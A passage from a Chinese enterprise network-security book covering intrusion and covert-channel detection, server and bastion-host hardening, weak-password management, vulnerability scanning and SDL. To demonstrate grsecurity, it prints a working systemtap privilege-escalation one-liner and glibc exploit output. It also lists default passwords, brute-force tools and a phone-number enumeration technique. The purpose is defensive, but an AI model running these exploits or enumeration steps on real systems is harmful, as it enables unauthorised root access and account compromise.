网络入侵检测系统，无论开源还是商业都有不错的选择。Snort是一个具有代表性的开源NIDS，网上也有较多的中文资料和配套的辅助工具，如SnortSnarf、ACID等。开源IDS除Snort外，还有Bro可选，Bro事件生成引擎中实现的应用层协议功能比Snort多，并且提供用于对事件做深入分析的策略脚本。开源的缺点是相对麻烦，先要对其有深入的理解，然后再学习其语法定制相应的规则，对安全人员的要求较高。在安全人员能力和数量有限的企业里，还是建议使用商业产品，性能是个很大的优势，商业产品的支持会比使用开源方案更有保障；如果需要满足特定场景而定制规则，商业产品也可以进行定制；产生安全事件后，商业产品还会保留对应的数据包以供进一步分析。例如，内网渗透常用的PsExec工具，首先防病毒一般不会查杀，因为它是Sysinternals系列的一个工具，但如果我们需要发现这种行为，可以在终端上检测PsExec进程的运行（进程可以改名，MD5也会随着版本不同而不同），也可以在目标机器上检测PSEXESVC服务的创建（服务名在高版本的PsExec里可以用户指定），还可以在网络上使用特征进行匹配。

当然，具体到这一个特征，很容易规避，甚至新版PsExec直接提供了-r参数让用户自定义。一般的做法是通过各种测试分析数据包，提取最稳定的特征，或者多取一些特征，比如流量中返回的一些版权或说明（如Execute Processes remotely），或者直接在SMB协议中看是否返回一些shell提示符等，具体就不再展开讲了。

在实际的运营过程中，需要关注流量镜像是否有效，流量是否缺失，自动化的验证事件是否正常触发等。




13.3.2　异常访问检测系统



有些请求不会匹配IDS策略，比如从分支机构远程桌面访问总部的一台机器，看似一个正常的登录操作，但可能违反了企业内部安全策略，这时候可以借助异常访问检测系统进行检测。

基于黑白名单策略及模型的异常访问检测系统就是一个例子。基于黑白名单策略好理解，比如不允许办公前台网段直接远程桌面或SSH登录到办公后台服务器网段，除了应急需要保留几个固定的IP之外，需要设置一个白名单和黑名单。

除了传统的黑白名单策略外，分析网络访问上的异常还有两个切入点：

·基于访问路径的异常。比如，历史上A和B经常访问C的1433端口，突然有一天D也来访问C的1433端口，这在历史记录中是从来没有的，因此就算一个访问路径上的异常。

·基于访问频率的异常。比如加入域的办公电脑每天访问域进行认证的次数为个位数，突然某天一个IP不断地向域进行认证尝试，超过我们系统设置或者学习到的阈值，这就算一个访问频率的异常。

拿到网络流量后，我们按时间、源IP、源端口、目标IP、目标端口、应用协议这六个元素来标识访问关系及统计访问频率，通过自学习模式生成白名单和profile规则，按照我们的管控规则自定义黑名单，对后续流量按照白名单、黑名单、profile规则的顺序进行匹配，对高风险事件进行实时告警。系统的处理逻辑如图13-2所示。




图13-2　异常访问检测架构

频度分析在黑白名单策略匹配之前进行，频度是针对所有的事件进行分析，先通过设置阈值来定义频度，当超过阈值时会产生相应的频度异常告警事件；同时事件会继续经过白名单、黑名单、profile的处理引擎，命中白名单的忽略，命中黑名单的产生异常流量告警事件，命中profile的忽略，未命中profile的则会产生未知流量预警事件。在实际的黑白名单策略设置过程中，主要考虑以下三类情况：

·跨区域的访问，比如，办公网和业务网之间的访问，总部与分行之间的访问，无线网段与办公网段之间的访问，内网与外联单位之间的访问，DMZ区域主动外连访问等。

·重点资产的监控，比如，域控、补丁升级服务器、堡垒机、网络设备、重要领导电脑、大数据平台、征信系统等针对性的策略。

·特殊协议监控，比如，远程桌面运行在非3389端口，SSH协议运行在非22端口，内网PPTP、L2TP、VNC、PCAnywhere等协议运行在网络上等。




13.3.3　隐蔽信道检测系统



除了上面讲到的几个点，还有一个不可回避的问题，就是隐蔽信道的检测与阻断。很多企业在防火墙上对Ping、DNS都是不做限制的，甚至个人PC及后台服务器均能Ping通互联网，如图13-3中路径①所示。




图13-3　DNS Tunnel与Ping Tunnel

图13-3中，路径①存在一定的风险，黑客能通过ICMP协议的缺陷，将需要窃取的数据分片封装到ICMP协议的Payload中，通过不断地发送Ping包，窃取信息。同样原理，图13-3中的路径②，黑客也可能利用DNS协议的缺陷，将需要窃取的数据分片封装到DNS协议的Payload中，通过不断地发送DNS请求，窃取信息。

ICMP协议格式如下：




DNS协议格式如下：




针对此类问题，建议的解决方案如下：

1）在IDS、IPS上检测异常的ICMP、DNS协议包。此种方式的有效性依赖于特征库。针对黑客常用的工具进行研究分析，定制出特征库是一个方法，比如PTunnel代码里就有个magic，如图13-4所示。




图13-4　PTunnel Magic Code

如果命中0xD5200880这个特征的ICMP包，肯定有问题。当然，如果黑客修改这个magic值再编译就不行了，还得继续找其他的特征。

2）监控数据包的发送频率。对于ICMP协议，正常业务场景下不会持续不断地发送Ping数据包，如果发现有短时间内不断发送Ping包请求的，都可以作为可疑事件进行排查。由于终端上DNS请求数据包较多，而且每个用户的使用习惯不同，此方法不适用于DNS Tunnel的检测。

3）异常包大小检测。对于ICMP协议，在Windows操作系统中默认包大小为32字节，SUSE Linux操作系统中默认包大小为56字节。其最大数据包大小遵循IP协议规定，为65500字节。可以在防火墙上设置一个ICMP数据包大小的阀值，超过的ICMP包直接丢弃并报警。在RFC 1035中，对于DNS的UDP数据包原始大小做了限制，但可通过DNS的扩展名机制（EDNS0），允许DNS请求者公布其UDP数据包的大小，并且传输大于512字节的数据包。黑客也常利用此方式，将需要窃取的数据封装到DNS大数据包中。因此，可以在防火墙上针对DNS的UDP长度大于512或TCP包长度大于1024的约定进行丢弃并报警。

4）防火墙上只允许DNS请求到外网指定的DNS服务器，比如省localDNS或者114.114.114.114；有条件的企业还可以针对DNS协议中的TXT和NULL类型的记录进行阻断。注意有些场景也需要使用TXT记录，比如邮件方面会用到SPF等，有些厂商查询情报也用此方法。

以上各种手段有一定的效果，但无法完全阻拦有耐心的黑客。一些企业开始将目光放到大数据、机器学习方面，通过对DNS、ICMP请求使用各种模型进行分析，以期发现异常。机器学习需要大量的日志样本，目前此类方案在企业实际环境中的效果有待观察。




13.4　服务器安全



服务器与终端环境有个明显的不同—服务器需要对外提供服务，会有大量的应用程序来访问，但人在上面的操作却非常少。


1.基础安全配置


首先要做的就是一些基础的安全配置工作，相信每个企业都会有Windows服务器配置和管理规范、Linux服务器配置和管理规范之类的文档，网上也有很多资料可供参考。

Windows服务器的安全加固一般有以下几个要点：

·安装时磁盘分区选用NTFS，各种文件权限控制需要依靠它。

·网络连接的TCP/IP协议“属性”中，配置“禁用TCP/IP上的NetBIOS”，少量特殊应用可能需要。

·服务器加入域，便于域统一管理安全策略。

·安全策略需要包括账户策略（密码策略、账户锁定策略、Kerberos策略）、本地策略（审核策略、用户权限分配、安全选项）等内容。

·事件日志，需要调整最大日志文件大小。

·系统服务配置，禁用不必要的服务，比如Alerter、Browser、Messenger、Shell-HWDetection、AudioSrv、WinHttpAutoProxySvc、PimIndexMaintenanceSvc、dmwappushsvc、MapsBroker、Ifsvc、wlidsvc、NgcSvc、NgcCtnrSvc、RmSvc、SensorDataService、SensrSvc、SensorService、SSDPSRV、WiaRpc等。

·开启高级审核策略，对账户登录、账户管理、登录/注销、策略更改、特权使用、系统等进行配置。

·关闭自动播放，启用密码保护的屏幕保护，关闭自动产生互联网访问流量的功能，安装防病毒及所需要的安全软件。

Linux服务器的安全加固一般有以下几个要点：

·物理安全相关设置，禁用USB存储设备，添加GRUB密码，禁止Ctrl+Alt+Del直接重启服务器。

·文件系统挂载设备，对/tmp和/var分区增加nodev和nosuid选项，对/home分区增加nosuid选项。

·对一些系统文件设置权限，包括/etc/crontab、/etc/securetty、/boot/grub/grub.conf、/etc/inittab、/etc/login.defs等。

·关闭一些不必要的服务，包括cups、postfix、pcscd、smartd、alsasound、iscsitarget、smb、acpid等。

·开启命令记录时间截，并将一些与命令记录相关的参数设置为readonly。

·开启日志及audit审计功能，配置监控规则，同时设置syslog转发将日志送到SOC。

·口令策略设置，包括口令复杂度、有效期，同时设置超时自动退出、密码尝试次数过多锁定。

·对SSHD进行安全配置（最大重试次、禁用Rhosts认证、指定密码类型、指定MAC算法），同时删除RHOST相关的各种文件。

·调整一些内核参数，禁用LKM，限制/dev/mem，开启ALSR，禁用NAT功能。

很多企业开始大量使用虚拟机技术，于是很多安全加固配置可以直接做到模板里，这样新生成的虚拟机就自动具有这些安全配置，再辅助一些运维自动化工具对安全基线配置进行检查，对发现的问题安排跟进处理。


2.入侵防护检测


安全基线配置是一个基础，但企业内网服务器毕竟对外提供各种服务，这些应用本身的安全性也会影响服务器本身的安全。从WebServer到开发框架，再到后端数据库，都可能会被攻击者搞定；另外，服务器上可能除了Root之外还会给开发人员或者应用建有相应的账号，这些账号的密码如果泄露也会影响服务器的安全。弱口令不仅是123456之类的，有些企业的口令会有一些规律，比如Baidu@201X这样的，可能一定程度上匹配了系统密码复杂度，但别有用心的人可能很容易就将密码拿到手了。所以，还需要在安全基线配置外，有一定的入侵防护检测手段。

一种思路是在服务器上安装类似HIDS的产品，开源的有OSSEC，商业的也有不少产品。前面我们说过OSSEC有瑕疵，但这个产品的框架和思路确实值得学习，rules目录下有大量的xml规则，在理解其规则写法后，安全人员很轻松就能编写自己的规则对特定的场景进行检测。如图13-5所示的规则。




图13-5　OSSEC Rule

编号31315的规则是发现有匹配密码出错的字样，而31316规则是在31315规则命中的基础上增加了频度，代表发现了短时间内多次验证失败的事件。同样，Windows下的Sysmon也是基于规则进行匹配和过滤，其能记录的事件类型如图13-6所示。

Sysmon的规则相对简单，每个ID对应一类事件，可以exclude排除也可以include包含组合运用，内置条件也比较丰富，如图13-7所示。




图13-6　Sysmon Event ID




图13-7　Sysmon Rule

依靠此类程序，我们在机器上收集了各种各样的事件，接下来需要统一送往SOC平台，在上面定制相应的CASE并产生告警。另外，针对应用日志（比如IIS日志），甚至应用程序本身的日志，也可以通过类似Flume类程序采集到大数据平台，便于进一步分析。




13.5　重点应用安全



在企业内网中，有一些重点应用的安全需要特别关注，例如，活动目录、邮件系统、VPN、堡垒机等。活动目录安全和邮件安全，我们将在第17章和第16章中进行详细阐述。


1.活动目录


活动目录服务器是办公网中最重要的服务器之一，网上各种有关内网渗透的技术文章都会涉及，所以需要重点关注，尤其是域管理员账号的管理。域管理员账号如果在其他机器上登录过（比如管理员给普通用户安装软件），一旦这台机器被控制，通过执行特定程序读取内存即可获取域管理员的账号和密码。域管理员账号密码一旦被拿下，意味着整个内网几乎全部沦陷。关于活动目录安全涉及比较多的内容，我们将在第17章进行阐述。


2.邮件系统


邮件系统一般部署在互联网DMZ区，它需要接收外来的邮件，同时将邮件发送到外网的邮箱，但对企业员工来讲，邮件系统可能更类似于一个OA系统的内部平台。邮件系统主要两类安全问题：一类是入站邮件中的恶意URL或附件；一类是出站邮件中可能包含敏感数据，例如客户资料。关于邮件安全和数据安全的话题，我们将在第16章进行阐述。


3.VPN


有些企业为了方便员工远程办公，采用了VPN方案。VPN的英文全称是“Virtual Private Network”，即“虚拟专用网络”。顾名思义，虚拟专用网络可以理解为虚拟出来的企业内部专线。虚拟专用网被定义为通过一个公用网络（通常是因特网）建立一个临时的、安全的连接，是一条穿过混乱的公用网络的安全、稳定的隧道。虚拟专用网是对企业内部网的扩展。虚拟专用网可以帮助远程用户、公司分支机构、商业伙伴及供应商公司的内部网建立可信的安全连接，并保证数据的安全传输。虚拟专用网可用于不断增长的移动用户的全球因特网接入，以实现安全连接；可用于实现企业网站之间安全通信的虚拟专用线路，用于经济有效地连接到商业伙伴和用户的安全外联网虚拟专用网。

目前VPN主要采用四项技术来保证安全，这四项技术分别是隧道技术（Tunneling）、加解密技术（Encryption&Decryption）、密钥管理技术（Key Management）、使用者与设备身份认证技术（Authentication）。

·隧道技术是VPN的基本技术，类似于点对点连接技术，它在公用网建立一条数据通道（隧道），让数据包通过这条隧道传输。隧道是由隧道协议形成的，分为第二、三层隧道协议。第二层隧道协议是先把各种网络协议封装到PPP中，再把整个数据包装入隧道协议中。这种双层封装方法形成的数据包靠第二层协议进行传输。第二层隧道协议有L2F、PPTP、L2TP等。L2TP协议是目前IETF的标准，由IETF融合PPTP与L2F而形成。第三层隧道协议是把各种网络协议直接装入隧道协议中，形成的数据包依靠第三层协议进行传输。第三层隧道协议有VTP、IPSec等。IPSec（IP Security）是由一组RFC文档组成，定义了一个系统来提供安全协议选择、安全算法、确定服务所使用密钥等服务，从而在IP层提供安全保障。

·加解密技术是数据通信中一项较成熟的技术，VPN可直接利用现有技术。

·密钥管理技术的主要任务是如何在公用数据网上安全地传递密钥而不被窃取。现行密钥管理技术分为SKIP与ISAKMP/OAKLEY两种。SKIP主要利用Diffie-Hellman的演算法则，在网络上传输密钥；在ISAKMP中，双方都有两把密钥，分别用于公用、私用。

·身份认证技术最常用的是使用者名称与密码、卡片式认证等方式。

真实的VPN入侵案例，往往都是从弱口令、暴力猜解、心脏滴血漏洞开始的。心脏滴血漏洞好解决，升级对应的OpenSSL库就好了，而弱口令和暴力猜解，则需要VPN产品本身来解决。另外，针对暴力猜解，有一种思路是监测VPN的认证日志，当发现短时间内有大量失败时可以进行一定的锁定IP或账号的处理。以PPTP为例，笔者曾经在某互联网公司，结合开源代码实现了一套动态口令VPN系统，其思路即是PPTPD+FreeRadius+MySQL的方案，通过修改FreeRadius认证代码，每个用户在后台数据库保存一个PIN码，只有用户自己知道，而当用户登录认证失败的时候，系统只将当前动态口令以短信方式发送给用户，用户通过组合PIN码+动态口令来实现登录。针对暴力破解问题，每个用户只能尝试3次，否则后面不再发送短信。

有的企业将安全控制得比较好，VPN账号默认都停用，当需要VPN时联系后台人员核实身份后做到一键开启，前提是7×24小时都有人在。没有7×24小时条件的企业，也不是没有方法，比如，在企业移动APP里通过认证（短信、指纹、人脸识别）后自助开启VPN服务也是一种思路。


4.堡垒机


堡垒机，是指在一个特定的网络环境下，为了保障网络和数据不受来自外部和内部用户的入侵和破坏，运用各种技术手段实时收集和监控网络环境中每一个组成部分的系统状态、安全事件、网络活动，以便集中报警、记录、分析、处理的一种技术手段。从功能上讲，它综合了核心系统运维和安全审计管控两大主干功能；从技术实现上讲，通过切断终端计算机对网络和服务器资源的直接访问，而采用协议代理的方式，接管了终端计算机对网络和服务器的访问。

市面上的堡垒机产品挺多，一些互联网公司也定制开发了自己的堡垒机。堡垒机后端要登录的目标对象主要是Windows和Linux机器；而在金融企业里，堡垒机还可能需要支持AIX、OS390、AS400主机。

商业堡垒机产品一般都会有上收服务器的用户密码，然后实现自动登录的功能，这中间涉及用户和密码的代填，常常会出现几类安全问题：

·客户端进程在执行过程中的参数包含用户、密码信息，可能会被本地操作人员发现。

·明文传输的通信协议，特别是RDP转接过程中容易出现。

·服务器的用户密码虽然加密保存在后台，但前台需要解密才能实现代填，如果密钥写死在程序中，经过简单的逆向还原即能发现。

有些堡垒机使用开源代码进行简单修改来实现，但SSH的跳转还是利用系统默认的SSH，那就存在绕过Passcode或操作记录审计的风险，比如，利用SSH的Port Forwarding建立隧道，利用SSH执选择命令的功能，甚至直接本地提权拿到Root权限等。

还是那句话，商业产品的问题，需要找厂商解决，而自己用开源代码实现的，坑还得自己填，最怕的是被绕过了还不知道。堡垒机上SSH不需要那么多功能，我们可以对它进行剪裁，比如，ssh.c代码如下：






case 'L':



    if (parse_forward(&fwd, optarg, 0, 0))



        add_local_forward(&options, &fwd);



    else {fprintf(stderr,"Bad local forwarding specification '%s'\n",optarg);



        exit(255);}



    break;



case 'R':



    if (parse_forward(&fwd, optarg, 0, 1)) 



{add_remote_forward(&options, &fwd);}



else {fprintf(stderr, "Bad remote forwarding specification " "'%s'\n", optarg);



        exit(255);}



    break;



    case 'D':



    if (parse_forward(&fwd, optarg, 1, 0)) 



{add_local_forward(&options, &fwd);} 



else {fprintf(stderr, "Bad dynamic forwarding specification " "'%s'\n", optarg);



        exit(255);}



    break;







一看就知道其对应的SSH的几个参数是做SSH Tunnel的，在这里可以直接“干掉”，也可以改为记录相关操作看是否有人恶意利用，代码如下所示：






//add syslog by xysky



#include <syslog.h>



    case 'R':



//deny by xysky



    openlog("ssh_sec", LOG_PID, LOG_AUTHPRIV);



    syslog(LOG_INFO, "[uid:%d]: deny remote forwarding by xysky, %s", getuid(),optarg);



    closelog();



    fprintf(stderr,"Bad remote forwarding deny by system.\n");



    exit(255);







对其进行编译安装即可看到效果，测试效果在syslog里有如下信息：






Aug 18 16:23:12 localhost ssh_sec[5946]: [uid:673]: deny remote forwarding by xysky, 4444:test.xxxx.net:22







同样，针对OpenSSHD的代码执行功能，修改session.c代码中的session_exec_req即可，不再赘述。

针对本地提权问题，一个堡垒机尽量使用新版本内核并打上补丁；二是可以使用一些内核安全加固的手段。有兴趣的读者可以研究一下grsecurity，其官方网站
http://grsecurity.net/

 ，从网站上下载最新的linux内核及与之对应的grsecurity版本，给内核打上grsecurity补丁，重启后进行测试，下面是使用其加固前后的效果对比。

测试glibc提权漏洞，没用grsecurity之前，如下：






[xysky@pxe-000 ~]$ ./a.sh



mkdir: cannot create directory `/tmp/exp': File exists



lr-x------ 1 xysky xysky 64 Jul  5 23:28 /proc/4081/fd/3 -> /tmp/exp/tar



[root@pxe-000 ~]#







使用grsecurity之后提权失败，会在日志里看到如下信息：






Jul  5 22:50:00 pxe-000 kernel: [  141.788669] grsec: From 192.168.70.26: denied



hardlink of /bin/ping (owned by 0.0) to /tmp/exp/tar for /bin/ln[ln:4967]



uid/euid:500/500 gid/egid:500/500, parent /home/xysky/a.sh[a.sh:4965] 



uid/euid:500/500 gid/egid:500/500







测试systemtap提权漏洞，没用grsecurity之前，如下：






[xysky@pxe-000 enlightenment]$ printf "install uprobes /bin/sh" > exploit.conf;



MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever



sh-3.2#







使用grsecurity之后提权失败，如下：






[xysky@pxe-000 root]$ printf "install uprobes /bin/sh" > exploit.conf; 



MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever



bash: exploit.conf: Permission denied



ERROR: Couldn't mount /mnt/relay: Operation not permitted



[xysky@pxe-000 root]$







效果还是很明显的。Grsecurity类似的加固方案之所以没有在13.4节“服务器安全”中提及，主要是因为这个方案也受一些兼容性的影响，尤其是Java方面的应用。在重视高可用性、高稳定性的金融行业尝试grsecurity，是个不太妥当的做法，但堡垒机场景相对单一，可以考虑。




13.6　漏洞战争



在企业内网，除了前面讲的AD、邮件、VPN、堡垒机外，更多的是各种各样的应用系统。由于只对内部员工开放，所以往往安全重视程度也不高，容易被别有用心的人利用，可能被人拿来当跳板，也可能被人盗取数据。




13.6.1　弱口令



在企业内网，弱口令是永远无法避开的话题。严格意义上讲，弱口令也是一种漏洞，此处单独拿出来讲只是其和常规漏洞还有一定的区别。存在弱口令的主要有三种场景：

·网络设备或终端、服务器的登录用户和密码，比如Telnet、RDP、SSH、VNC、Radmin的用户密码。

·各种Web应用的内置密码，内网大量应用的内置密码，比如网管系统、iLO、HMC、Tomcat管理后台等。

·各种服务可能配置成弱口令，比如FTP、MySQL、SQLServer等。

而弱口令按密码不同来分，可以分为空口令、默认口令(比如admin、admin888、test、password)、简单密码（比如123456、12345678、888888）、网上泄露库的top1000（比如woaini1314、5201314、123456a、zxcvbnm）以及适当变化的字典库（如Baidu123、Baidu@2018）等。

发现弱口令最有效的方式是直接扫描。X-Scan虽然年代久远但偶尔还看到有人在使用，Medusa、Hydra、Ncrack在支持类型上比较丰富值得推荐，在Web暴力破解领域Burp Suite也经常会被渗透测试人员使用。有条件的企业可能还针对企业内部场景定制开发自己的弱口令检查工具，比如当扫描到Web页面有登录、login、Management等字样的时候会自动尝试暴力破解，发现图片验证码的时候自动调用图片识别程序等。商业产品Nessus也具备弱口令扫描功能，图13-8是其使用Hydra进行暴力破解扫描的插件。




图13-8　Nessus Scan Bruteforce2 Small

如何消除弱口令，除了常态化的扫描、跟进修复外，应该从另外的角度来考虑这个问题，此处提出以下建议：

·针对网络设备，建议使用类似ACS+Token的解决方案，静态用户保留最高权限和只读账号，而高权限静态用户登录则需要告警，平时不允许使用，只有应急情况才可以使用。

·针对Windows机器，在域里统一设置安全策略，强制要求密码复杂度及过期时间；有些企业通过LDAP的方式来管理Linux机器，也可以做一些相应的设置。生产网更应该严格对待，统一要求都接入堡垒机，通过堡垒机的上收口令和自动改密码功能来管理，用户自动登录无需掌握密码，应急使用的高权限账号平时则不允许使用，有使用则进行告警及审计。

·针对Web应用系统，建议统一接入SSO系统，而SSO系统则可以采用双因素认证等来实现；有条件的企业更应该考虑使用不需要密码的登录，比如通过APP扫码登录，体验会更好，用户也不需要掌握密码。

·对于一些比较危险的服务，如FTP、MySQL、Redis、Radmin、VNC、SVN、Git、Rsync，能不开就不开，必须要开的尽量做访问来源限制，即使存在弱口令也只在有限范围内使用。

·对于企业内网大量的应用管理后台，建议在上线前做好管控，梳理常见的问题并做出明确的要求，比如Tomcat、phpMyAdmin、JBoss等管理后台界面。




13.6.2　漏洞发现



根据发现方式的不同，我们把漏洞分为三类：基于主机层面的漏洞（系统漏洞），基于应用层面的常规漏洞（比如Web漏洞），基于应用程序内部逻辑的漏洞。

系统漏洞包括操作系统本身的安全漏洞，以及运行在操作系统上面的应用程序（例如IIS、Apache、Ningx、Tomcat、MySQL）的安全漏洞。要发现此类漏洞，可以采用诸如Nessus、OpenVAS之类的扫描器。Nessus的Discovery包括了主机发现、端口扫描、服务发现相关设置，Assessment选项包括了常规设置、暴力破解、Web应用、Windows、Malware相关的配置，还可以提供登录相关的凭证便于做侵入式登录扫描。大量的Plugins便于用户自定义选择，也可以针对某些特定漏洞进行专项扫描，比如“永恒之蓝”的MS17010漏洞。如果扫描处在上线前的阶段，建议尽量做侵入式扫描，即登录到服务器上进行扫描。如果内网机器数量众多，需要部署多台Nessus服务器，采用集群模式进行扫描。扫描自动化做得好的企业，往往会做一些定制开发，比如调用Nessus接口定期扫描并导出结果，然后按漏洞级别分类并纳入漏洞管理系统以便统一跟进。

应用层面常规漏洞包括SQL注入、XSS攻击、文件上传、文件下载、信息泄露、框架注入、XXE注入、CSRF、SSRF、命令执行、弱口令等。一般企业会采用AWS、IBM Appscan、HP WebInspect、Nikto等商业或开源扫描器开展漏洞扫描工作。这些扫描器各有特色，有的还包含一些辅助工具，方便开展渗透或漏洞确认工作。由于这块内容网上有非常多的参考资料，而且白帽子也非常多，招聘安全人员很容易就能覆盖到这块能力，所以这里就不花太多篇幅进行阐述了。需要注意的是，除了主动扫描，还可以结合被动扫描的思路，比如获取真实的访问日志、获取网络流量提取HTTP请求内容等，再提交给扫描器进行扫描，以弥补主动扫描的不足。

相较前两种漏洞来说，应用逻辑漏洞难以直接用扫描工具发现，更多需要人工介入，结合使用BurpSuite、Fiddler等辅助类工具对应用系统各种内部逻辑进行测试。逻辑漏洞很容易在身份认证、业务流程、API接口调用等过程中产生，身份认证模块就涉及口令破解、验证码、撞库、密码找回、认证时效等问题；业务流程中则依据不同的业务场景会有不同的功能，比如订单篡改、一致性校验、重放攻击、输入合法性等；API接口调用简化了系统架构，但也容易存在不认证、不限制访问等问题。简单举个例子，某P2P网站提供通过手机找回密码的功能，如图13-9所示。




图13-9　找回密码界面

初看没什么毛病，要手机号、短信验证码、身份证后6位，比一般的网站找回密码只需要短信验证码验证感觉还更安全。在应用里的逻辑一般会是这样：输入手机号的时候，先会校验你是否注册过，注册了才会发送短信验证码。通过查看网页源码可发现点击“获取验证码”会触发一个Ajax请求，代码逻辑如图13-10所示。




图13-10　找回密码代码逻辑

可以直接在浏览器按F12再来操作，会发现有POST请求一个生成验证码的API接口，控制不严的情况下可以直接在浏览器地址栏构造URL触发GET请求，也能看到返回值。如果这个接口未做限制，那丢到Burp Suite或者写个脚本很快就能将该网站所有注册手机号遍历出来。

前两种漏洞通过扫描器能部分覆盖，而后一种漏洞则基本上需要靠人工介入，那企业需要考虑，用什么样的扫描器？扫描周期如何？人工介入的范围有哪些？表13-2可供参考。

表13-2　漏洞扫描信息表




发现漏洞只是第一步，后面还有大量的沟通协调工作跟进及漏洞修复确认工作，做得不好的企业往往靠人工维护Excel表格跟进，做得好的企业往往漏洞管理系统直接与内部工单或ITIL系统对接。漏洞的修复一般有几个优先原则：

1）暴露在互联网上的漏洞，必须第一时间发现与修复，对于未及时修复的，需要进行升级处理（这里的升级是指向更高层级的人通告此漏洞，比如抄送领导）。

2）高风险特别是可以直接拿到权限的漏洞，比如MS08067、MS17010、Struts2各种远程执行漏洞等，也需要优先跟进并修复。

3）内部网络重要系统的漏洞，比如人力资源、OA、邮件等，也需要优先。

4）其他内部不重要的系统漏洞，按常规方法跟进处置，超过多少天的该升级到什么级别，按规章处理。


 注意：


有时候扫描器报出来的高风险漏洞，漏洞管理员需要经过适当评估才能定级跟进。比如，一个内部Apache版本过低报出来High风险可能不是合适的，还有一些本地提权漏洞，即使有一些条件限制的可能也会报High，处理不好可能会遇到运维人员的“挑战”。




13.6.3　SDL



安全开发生命周期（Security Development Lifecycle，SDL）是由微软最早提出的从安全角度指导软件开发过程的管理模式。SDL是一个安全保证过程，其重点是软件开发，它在开发的所有阶段都引入了安全和隐私的原则。SDL不是一个空想的理论模型，它是微软为了面对现实世界中的安全挑战，在实践中一步步发展起来的，自2004年起，SDL一直都在微软全公司强制实施，其步骤包括培训、需求、设计、实施、验证、发布、响应七个环节，可以访问微软官方网站获取更多信息。相对于微软的SDL，OWASP推出了软件保证成熟度模型（Software Assurance Maturity Model，SAMM）。

SAMM与SDL的主要区别在于：SDL适用于软件开发商，他们以贩售软件为主要业务；SAMM适用于自主开发软件的使用者，如银行或在线服务提供商。软件开发商的软件工程往往较为成熟，有着严格的质量控制；而自主开发软件的企业组织，则更强调高效，因此在软件工程的做法上也存在差异。

SDL在国内企业难以落地，主要是企业面临以下诸多问题：

·缺乏安全意识教育导致的安全意识不足。

·缺少安全编码标准和规范。

·系统设计以完成功能为主导，不考虑安全问题。

·敏捷开发意味着频繁的迭代更新发版本，微软SDL较为厚重。

除了以上因素外，SDL在我国还有一些水土不服的情况，比如，微软SDL非常强调隐私保护，而在国内企业更多在敏感数据防泄露上做文章，很难把隐私保护放到同等地位。当然，随着《网络安全法》《欧盟一般数据保护法（GDPR）》的逐步实施，会有一定的改善空间。国内推出自己的SDL的企业主要是互联网企业，影响范围相对有限，金融行业有自己的一些特征，也不能照搬，基本是各自摸索。推行SDL需要循序渐进，如果以往安全人员只是在最后上线阶段做一些上线前扫描，那现在要求一开始就介入需求设计阶段可能也不太现实，至少是推进起来难度不小。SDL可分为需求分析与设计、开发、测试、上线、运营几个阶段，下面逐一阐述。


1.需求分析与设计阶段


这个阶段有不少沟通工作，项目经理、产品经理甚至需求方都可能会涉及，在梳理各开发条线的项目情况后，需要给出相应的建议。在这里，一份Checklist可能会很有帮助。美的金融科技就发布了一个金融科技SDL安全设计Checklist，内容涵盖输入验证、输出编码、身份认证、异常处理、会话管理、访问控制、接口调用、权限控制、敏感信息、运行环境以及常见Web安全防护等方面，相对比较完善，值得推荐。其URL地址：



https://mp.weixin.qq.com/s/MR3SmOLj834LK4RBMcZ2pg








 注意：


Checklist并不一定能覆盖到所有场景，比如，有的项目往往会使用一些第三方的软件，可能是网上某个开源框架或库，也可能是某个商业公司的组件。所以在实际过程中，还会依靠安全工程师的经验做出判断，对这种第三方软件进行适当的评估才行。


2.开发阶段


在这个阶段，一般企业都会有一个应用安全开发标准的文档，而作为规范的配套，最好还提供一些技术类的解决方案，比如安全函数库或安全框架。最后，为了确保编写的代码符合规范，还需要进行代码审计，比如，规范里要求不允许使用什么函数或者不允许使用什么框架，通过简单的代码审计规则就能发现违规行为。

在实际工作过程中，很多开发人员甚至安全人员只会依据类似《XX开发安全标准》《XX开发安全规范》来干活，却不知道为什么要关注这样的风险以及对应的安全措施，久而久之习惯使然，容易变成“过度的安全设计”。因此，“知其然且知其所以然”，从风险的角度去考虑而非机械遵守，是开发人员需要具备的素质。


3.测试阶段


项目开发完了会转到测试环节，传统的测试人员会对着设计文档进行各种测试，包括白盒、黑盒、单元测试、集成测试、功能测试、性能测试等。在这个阶段，我们需要引入一个安全测试，即专门针对安全性的测试。

在开始动手测试前，业界有一些通用的威胁建模方法供我们参考，比如，源于微软的STRIDE，它从6个维度来考察系统设计时存在的来自外部威胁的风险点，分别为：

·Spoofing（假冒）。

·Tampering（篡改）。

·Repudiation（否认）。

·Information Disclosure（信息泄漏）。

·Denial of Service（拒绝服务）。

·Elevation of Privilege（提升权限）。

用STRIDE进行威胁建模，以保证系统的几个安全属性与之对应：身份认证、完整性、不可否认性、机密性、可用性、授权，对应的解释及示例如表13-3所示。

表13-3　STRIDE威胁建模




在威胁建模的最后阶段，还要根据威胁所造成的危害对威胁进行评价，这样企业就可以排出优先级，先解决风险最大的威胁再解决其他的威胁。微软公司使用DREAD模型来协助这个计算过程，通过询问下列问题就可以得到给定威胁的风险评价结果：

·潜在损失（Damage Potential）。如果缺陷被利用，损失有多大？

·重现性（Reproducibility）。重复产生攻击的难度有多大？

·可利用性（Exploitability）。发起攻击的难度有多大？

·受影响的用户（Affected Users）。用粗略的百分数表示，有多少用户受到影响？

·可发现性（Discoverability）。缺陷容易发现吗？

可以利用上面的几项来评价每一种威胁，也可以自己进行扩展，然后给每一项进行打分（如1分为低，2分为中，3分为高），最后计算出总分（如结果范围为5~15分，设定规则为总分12以上为高危，8~11分为中危，5~7分为低危），如表13-4所示。

表13-4　安全威胁评分表示例




除此之外，OWASP组织官网上还介绍了Trike、AS/NZS 4360、CVSS、OCTAVE等，不再一一列举。

安全测试人员的工作，和漏洞扫描人工渗透的工作内容有一定的相似度，但不完全一样。测试人员通常掌握设计说明书、源代码、数据库表结构等内容，更容易深入理解应用的不同功能，如果能站在攻击者的视角去思考如何攻击目标，就更有优势了。优秀的安全测试人员，除了要利用已有的思路或自已积累的各种经验，还需要时刻关注外界新的攻击方式，说不定在某个节点会有新的发现。


4.上线阶段


在这个阶段，大部分安全团队的工作压力并不大，这是因为：操作系统、服务端的配置基本上都已经做了基线配置和安全加固；在这个阶段，安全团队有一个权限—对发现有问题的应用不允许上线。


5.运营阶段


